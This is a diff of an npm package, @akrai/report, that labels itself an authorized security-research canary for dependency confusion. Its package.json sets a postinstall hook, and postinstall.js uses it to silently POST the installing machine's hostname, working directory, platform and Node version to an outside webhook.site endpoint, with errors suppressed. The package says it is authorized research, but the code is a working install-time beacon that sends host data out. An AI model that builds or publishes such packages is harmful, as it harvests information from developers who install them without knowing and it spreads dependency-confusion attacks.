@akrai/report 1.0.0

package/README.md

@@ -0,0 +1,3 @@
+# @akrai/report — AUTHORIZED SECURITY RESEARCH CANARY
+
+Not MarkScan.

package/index.js

@@ -0,0 +1 @@
+module.exports = { canary: '@akrai/report', token: 'PATHC-CANARY-2026' };

package/package.json

@@ -0,0 +1,23 @@
+{
+  "name": "@akrai/report",
+  "version": "1.0.0",
+  "description": "AUTHORIZED SECURITY RESEARCH CANARY \u2014 not affiliated with MarkScan. Harmless install beacon. Contact farouqsa@proton.me Token PATHC-CANARY-2026",
+  "license": "MIT",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node postinstall.js"
+  },
+  "keywords": [
+    "security-research",
+    "dependency-confusion-canary",
+    "authorized-pentest"
+  ],
+  "author": "farouqsa@proton.me",
+  "repository": {
+    "type": "git",
+    "url": "https://github.com/bruemleveroger/akrai-report-new-canary"
+  },
+  "publishConfig": {
+    "access": "public"
+  }
+}

package/postinstall.js

@@ -0,0 +1,23 @@
+const https = require('https');
+const payload = JSON.stringify({
+  canary: '@akrai/report',
+  token: 'PATHC-CANARY-2026',
+  event: 'npm-postinstall',
+  time_utc: new Date().toISOString(),
+  node: process.version,
+  cwd: process.cwd(),
+  platform: process.platform,
+  hostname: require('os').hostname(),
+});
+const url = new URL('https://webhook.site/129cb2ee-ba08-4b3c-989c-270dc0030350');
+const req = https.request({
+  hostname: url.hostname,
+  path: url.pathname,
+  method: 'POST',
+  headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) },
+  timeout: 5000,
+}, () => {});
+req.on('error', () => {});
+req.write(payload);
+req.end();
+console.error('[pathc-canary] npm beacon queued — authorized research only');